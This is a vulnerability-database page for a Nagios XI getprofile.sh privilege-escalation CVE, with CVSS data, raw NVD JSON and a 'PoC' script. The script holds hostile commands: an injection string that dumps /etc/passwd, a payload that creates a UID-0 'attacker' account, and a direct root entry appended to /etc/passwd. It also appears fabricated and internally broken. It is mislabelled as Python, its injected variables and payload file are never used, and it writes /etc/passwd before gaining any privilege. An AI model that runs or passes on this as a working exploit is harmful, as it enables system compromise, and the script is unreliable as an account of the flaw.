Security Vulnerability Report
中文
CVE-2020-36868 CVSS 7.8 HIGH

CVE-2020-36868

Published: 2025-10-30 22:15:40
Last Modified: 2025-11-05 18:23:19

Description

Nagios XI versions prior to 5.7.3 contain a privilege escalation vulnerability in the getprofile.sh helper script. The script performed profile retrieval and initialization routines using insecure file/command handling and insufficient validation of attacker-controlled inputs, and in some deployments executed with elevated privileges. A local attacker with low-level access could exploit these weaknesses to cause the script to execute arbitrary commands or modify privileged files, resulting in privilege escalation.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:* - VULNERABLE
Nagios XI < 5.7.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2020-36868 PoC - Nagios XI getprofile.sh Privilege Escalation # This PoC demonstrates how an attacker can exploit the insecure getprofile.sh script # Target: Nagios XI versions < 5.7.3 # Attack Vector: Command injection via insecure script handling TARGET_SCRIPT="/usr/local/nagiosxi/scripts/getprofile.sh" # Check if target exists if [ ! -f "$TARGET_SCRIPT" ]; then echo "[-] Target script not found" exit 1 fi echo "[+] CVE-2020-36868 PoC for Nagios XI Privilege Escalation" echo "[+] Setting up malicious environment variables..." # Inject malicious command through environment variables export MALICIOUS_VAR='; cat /etc/passwd > /tmp/pwned.txt #' export PATH_INJECTION='../../../etc/cron.d/malicious_cron' # Alternative: Create a malicious script that will be sourced export EVIL_SCRIPT='/tmp/evil.sh' cat > /tmp/evil.sh << 'EOF' #!/bin/bash # Payload: Add new root user or execute reverse shell useradd -ou 0 -g 0 attacker 2>/dev/null echo 'attacker:password123:0:0:root:/root:/bin/bash' >> /etc/passwd EOF chmod +x /tmp/evil.sh echo "[+] Triggering getprofile.sh with malicious input..." # Execute the vulnerable script with crafted input $TARGET_SCRIPT "$MALICIOUS_VAR" 2>/dev/null || true echo "[+] Checking for successful exploitation..." if grep -q "attacker" /etc/passwd 2>/dev/null; then echo "[+] SUCCESS: Privilege escalation achieved!" echo "[+] New user 'attacker' created with root privileges" su - attacker else echo "[-] Exploitation may have failed, check manually" fi

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2020-36868", "sourceIdentifier": "[email protected]", "published": "2025-10-30T22:15:39.837", "lastModified": "2025-11-05T18:23:19.037", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nagios XI versions prior to 5.7.3 contain a privilege escalation vulnerability in the getprofile.sh helper script. The script performed profile retrieval and initialization routines using insecure file/command handling and insufficient validation of attacker-controlled inputs, and in some deployments executed with elevated privileges. A local attacker with low-level access could exploit these weaknesses to cause the script to execute arbitrary commands or modify privileged files, resulting in privilege escalation."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-73"}, {"lang": "en", "value": "CWE-250"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.7.3", "matchCriteriaId": "37718CFA-B578-4181-A28D-279698F6C644"}]}]}], "references": [{"url": "https://www.nagios.com/changelog/nagios-xi/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/nagios-xi-privilege-escalation-via-insecure-getprofile-script", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}